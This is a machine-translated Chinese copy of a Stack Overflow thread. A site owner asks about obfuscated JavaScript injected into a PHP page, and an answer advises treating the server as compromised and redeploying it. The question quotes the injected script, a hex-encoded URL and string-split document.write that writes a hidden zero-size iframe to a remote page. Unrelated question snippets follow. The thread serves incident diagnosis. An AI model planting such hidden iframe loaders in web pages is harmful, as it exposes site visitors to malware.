草庐IT

JavaScript 被注入(inject)我的 PHP 页面

coder 2024-01-04 原文

我有一个网站,我刚刚发现有人以某种方式在我的页面上注入(inject)了 JavaScript。我怎样才能弄清楚它的作用以及他们是如何做到的?

<script> var x = unescape("%68% (**** some other hex characters here
****%74%2e%63%6e%2f%76%69%64");document.write("<i"+"fr"+"am"+"e 
s"+"r"+"c=\""+x+"/ind"+"e"+"x.p"+"hp\" w"+"id"+"th=\"0\" he"+"i"+"ght=\"0\" 
fr"+"a"+"m"+"ebor"+"de"+"r=\"0\"><"+"/ifra"+"m"+"e>"); </script>

我不确定是怎么到那里的。有谁知道它是怎么到那里的?我可以做些什么来删除它?

最佳答案

你现在需要知道这个:

我们在 Linode 经常看到这种情况,这表明您的服务器已被攻击者入侵。如果未转义,则可能是会感染您的用户的浏览器漏洞,或者是指向垃圾邮件站点的链接。

保存注入(inject)代码的所有内容供以后分析,并立即重新部署整个服务器和 Web 堆栈。毫无疑问,攻击者在您的盒子上至少有一个外壳,如果他狡猾,那将不可避免地导致 root。

立即重新部署,让您的应用程序保持最新状态,停止编写可利用的 PHP,并使用强密码或 SSH key 锁定您的用户帐户。不是想为我的公司或任何事情拉皮条,但在管理不善的 Web boxen 上,这种情况如此很常见,因此我们写了一篇关于 how to completely redeploy from scratch 的文章.我建议一天几次。

编辑:如果您对我投反对票,请说出原因——我已经用这个确切的代码对三个案例进行了分类,所以我没有编造。

编辑 2: 有一个方面我可能高估了情况,这只是因为我是一家 VPS 公司的员工(我经常看到这种情况)。我错误地假设该用户的“Web 主机”是他控制的服务器,而不是共享主机。 是个错误,但我仍有可能是对的。

妥协是一种绝望的情况,在黑暗中工作可能会带来灾难性的后果。如果您不知道未经授权的一方为何获得对您的基础设施的访问权,您就无法解决问题。由于每个人都认为我们在这里谈论的是托管共享主机——所以您可能是对的,XSS 是罪魁祸首。同样,这个问题没有提供太多数据,妥协是一种在一般开发人员中没有得到足够重视的情况。

老实说,我厌倦了我们打开的票证,其中一个盒子在互联网上用 SSH 探测、DoS 数据、URL 注入(inject)或任何与此相关的东西攻击另一个盒子——而管理这个盒子的 Rails 或 PHP 开发人员没有知道为什么会这样,或者他能做些什么。这些都是表明系统妥协的事情,而不是 XSS。因此,我认为这是 OP 控制下的服务器的假设是错误的,但这是可以原谅的(我希望),因为我现在正在工作,处理这些票。

如果您希望我删除我的答案,请直接说出来,但我没有看到任何其他人获得投票。

关于JavaScript 被注入(inject)我的 PHP 页面,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/1650854/

有关JavaScript 被注入(inject)我的 PHP 页面的更多相关文章

  1. ruby-on-rails - 如何在我的 Rails 应用程序 View 中打印 ruby​​ 变量的内容? - 2

    我是一个Rails初学者,但我想从我的RailsView(html.haml文件)中查看Ruby变量的内容。我试图在ruby​​中打印出变量(认为它会在终端中出现),但没有得到任何结果。有什么建议吗?我知道Rails调试器,但更喜欢使用inspect来打印我的变量。 最佳答案 您可以在View中使用puts方法将信息输出到服务器控制台。您应该能够在View中的任何位置使用Haml执行以下操作:-puts@my_variable.inspect 关于ruby-on-rails-如何在我的R

  2. ruby - 我可以将我的 README.textile 以正确的格式放入我的 RDoc 中吗? - 2

    我喜欢使用Textile或Markdown为我的项目编写自述文件,但是当我生成RDoc时,自述文件被解释为RDoc并且看起来非常糟糕。有没有办法让RDoc通过RedCloth或BlueCloth而不是它自己的格式化程序运行文件?它可以配置为自动检测文件后缀的格式吗?(例如README.textile通过RedCloth运行,但README.mdown通过BlueCloth运行) 最佳答案 使用YARD直接代替RDoc将允许您包含Textile或Markdown文件,只要它们的文件后缀是合理的。我经常使用类似于以下Rake任务的东西:

  3. jquery - 我的 jquery AJAX POST 请求无需发送 Authenticity Token (Rails) - 2

    rails中是否有任何规定允许站点的所有AJAXPOST请求在没有authenticity_token的情况下通过?我有一个调用Controller方法的JqueryPOSTajax调用,但我没有在其中放置任何真实性代码,但调用成功。我的ApplicationController确实有'request_forgery_protection'并且我已经改变了config.action_controller.consider_all_requests_local在我的environments/development.rb中为false我还搜索了我的代码以确保我没有重载ajaxSend来发送

  4. java - 我的模型类或其他类中应该有逻辑吗 - 2

    我只想对我一直在思考的这个问题有其他意见,例如我有classuser_controller和classuserclassUserattr_accessor:name,:usernameendclassUserController//dosomethingaboutanythingaboutusersend问题是我的User类中是否应该有逻辑user=User.newuser.do_something(user1)oritshouldbeuser_controller=UserController.newuser_controller.do_something(user1,user2)我

  5. ruby-on-rails - 测试我的 Ruby gem:Shoulda::Matchers:Module (NoMethodError) 的未定义方法 `configure' - 2

    我正在开发我的第一个Rubygem,并捆绑了cucumber、rspec和shoulda-matches进行测试。当我运行rspec时,出现以下错误:/app/my_gem/spec/spec_helper.rb:6:in`':undefinedmethod`configure'forShoulda::Matchers:Module(NoMethodError)这是我的gem规范:#my_gem.gemspec...Gem::Specification.newdo|spec|......spec.add_development_dependency"activemodel"spec.a

  6. ruby-on-rails - Heroku 吃掉了我的自定义 HTTP header - 2

    我正在使用Heroku(heroku.com)来部署我的Rails应用程序,并且正在构建一个iPhone客户端来与之交互。我的目的是将手机的唯一设备标识符作为HTTPheader传递给应用程序以进行身份​​验证。当我在本地测试时,我的header通过得很好,但在Heroku上它似乎去掉了我的自定义header。我用ruby​​脚本验证:url=URI.parse('http://#{myapp}.heroku.com/')#url=URI.parse('http://localhost:3000/')req=Net::HTTP::Post.new(url.path)#boguspara

  7. ruby - 我的 Ruby IRC 机器人没有连接到 IRC 服务器。我究竟做错了什么? - 2

    require"socket"server="irc.rizon.net"port="6667"nick="RubyIRCBot"channel="#0x40"s=TCPSocket.open(server,port)s.print("USERTesting",0)s.print("NICK#{nick}",0)s.print("JOIN#{channel}",0)这个IRC机器人没有连接到IRC服务器,我做错了什么? 最佳答案 失败并显示此消息::irc.shakeababy.net461*USER:Notenoughparame

  8. ruby - 这个 ruby​​ 注入(inject)魔术是如何工作的? - 2

    我今天看到了一个ruby​​代码片段。[1,2,3,4,5,6,7].inject(:+)=>28[1,2,3,4,5,6,7].inject(:*)=>5040这里的注入(inject)和之前看到的完全不一样,比如[1,2,3,4,5,6,7].inject{|sum,x|sum+x}请解释一下它是如何工作的? 最佳答案 没有魔法,符号(方法)只是可能的参数之一。这是来自文档:#enum.inject(initial,sym)=>obj#enum.inject(sym)=>obj#enum.inject(initial){|mem

  9. ruby - 在 ASP 页面上 Mechanize 中断 - 2

    require'mechanize'agent=Mechanize.newlogin=agent.get('http://www.schoolnet.ch/DE/HomeDE.htm')agent.clicklogin.link_withtext:/Login/然后我得到Mechanize::UnsupportedSchemeError。 最佳答案 Mechanize不支持javascript但您可以将搜索字段添加到表单并为其分配搜索词并使用mechanize提交表单form=page.forms.firstform.add_fie

  10. ruby-on-rails - 使用 javascript 更改数据方法不会更改 ajax 调用用户的什么方法? - 2

    我遇到了一个非常奇怪的问题,我很难解决。在我看来,我有一个与data-remote="true"和data-method="delete"的链接。当我单击该链接时,我可以看到对我的Rails服务器的DELETE请求。返回的JS代码会更改此链接的属性,其中包括href和data-method。再次单击此链接后,我的服务器收到了对新href的请求,但使用的是旧的data-method,即使我已将其从DELETE到POST(它仍然发送一个DELETE请求)。但是,如果我刷新页面,HTML与"new"HTML相同(随返回的JS发生变化),但它实际上发送了正确的请求类型。这就是这个问题令我困惑的

随机推荐